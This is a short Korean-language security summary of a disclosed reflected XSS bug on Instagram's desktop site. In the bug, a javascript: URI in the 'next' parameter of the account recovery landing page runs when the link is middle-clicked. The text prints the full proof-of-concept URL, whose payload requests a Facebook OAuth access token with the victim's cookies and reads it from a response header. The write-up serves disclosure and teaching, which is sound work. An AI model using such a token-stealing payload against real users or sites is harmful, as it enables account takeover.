[하루한줄] Reflected XSS를 통한 인스타그램 계정 탈취

URL

One-click reflected XSS in www.instagram.com due to unfiltered URI schemes leads to account takeover

Target

  • www.instagram.com 데스크톱 버전

Explain

데스크톱 버전의 www.instagram.com 에서 필터링 되지 않은 URI 스키마를 통해 사용자가 탭을 열거나 닫는데 사용되는 마우스의 가운데 버튼을 클릭할 시 reflected XSS가 발생하는 취약점이 발견되었습니다.

해당 취약점은 취약한 엔드 포인트로 전달된 파라미터 내부의 페이로드가 href 속성의 html a 태그 내부에 반영되어 발생합니다. 페이로드는 www.instagram.com 에서 해커의 자바스크립트 코드를 실행하는 자바스크립트 URI 스키마이며 공격이 실패하더라도 이벤트 핸들러가 URL을 다른 포맷으로 변경합니다. 또한 사용자가 새로운 탭에서 URL을 열기 위해 마우스 가운데 버튼을 클릭하거나 왼쪽과 오른쪽을 동시에 누르는 경우에 XSS와 계정 탈취가 가능합니다. 새 탭에서 열 경우 URL을 변경하는 자바스크립트 코드를 우회하여 공격에 성공할 수 있습니다.

사용자가 https://www.instagram.com/accounts/recovery/landing/?token=true&next=javascript:fetch(“https://www.facebook.com/x/oauth/status?client_id=124024574287414&input_token&origin=1&redirect_uri=https%3A%2F%2Fwww.instagram.com%2F&sdk=joey&wants_cookie_data=true“,{mode:”cors”,credentials:”include”}).then(function(a){alert(a.headers.get(“fb-ar”));console.log(a.headers.get(“fb-ar”));}); 링크에 접속할 경우 /x/oauth/status 페이스북 OAuth 엔드 포인트로부터 페이스북 액세스 토큰을 요청합니다. 액세스 토큰은 인스타그램 애플리케이션의 컨텍스트에서 생성되고 해당 액세스 토큰을 통해 페이스북 계정을 탈취할 수 있습니다.